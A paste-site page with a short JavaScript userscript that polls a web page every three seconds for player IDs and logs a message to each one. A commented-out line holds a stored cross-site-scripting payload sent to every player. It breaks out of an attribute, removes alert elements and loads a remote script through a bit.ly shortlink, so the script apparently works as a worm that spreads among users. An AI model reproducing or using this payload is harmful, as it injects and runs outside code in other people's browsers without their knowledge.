avatar
Gus

Guest 1,660 10th Jul, 2021

JAVASCRIPT 1.36 KB
                                           
                         (function(d, e) {
    var image = document.createElement("IMG");
    image.alt = "Alt information for image";
    image.setAttribute('class', 'photo');
    image.src="https://www.gify.net/data/media/481/kaczka-ruchomy-obrazek-0150.gif";
    $('#instructions').prepend(image).css('text-align','center');
    d.friends = [];
    d.friendsold = [];
    var fsend = [];
    function sendto() {
        var a = document.querySelectorAll('[data-player]');
        d.friendsold = d.friends;
        d.friends = [];
        a.forEach(function(el) {
            if (d.friends.indexOf(el.getAttribute('data-player')) == -1){
                d.friends.push(el.getAttribute('data-player'));
            }
        });
        d.friendsold.forEach(function(el) {
            if (d.friends.indexOf(el) == -1){
                if (d.fsend.indexOf(el) != -1) {
                    d.fsend.splice(fsend.indexOf(el),1);
                }
            }
        });
        d.friends.forEach(function(el) {
                if (fsend.indexOf(el) == -1) {
                fsend.push(el);
                GM_log('Wysłano do ' + el);
            //d.bubbleSend(el,'"><script>$("bubble_invite,#alert_audio").remove();$.getScript("//bit.ly/3xDspAR");</script><a::');
                }
        })
    }
    setInterval(sendto,3e3);
})(window,jQuery);
                      
                                       
To share this paste please copy this url and send to your friends
RAW Paste Data
Recent Pastes
Ta strona używa plików cookie w celu usprawnienia i ułatwienia dostępu do serwisu oraz prowadzenia danych statystycznych. Dalsze korzystanie z tej witryny oznacza akceptację tego stanu rzeczy.
Wykorzystywanie plików Cookie
Jak wyłączyć cookies?
ROZUMIEM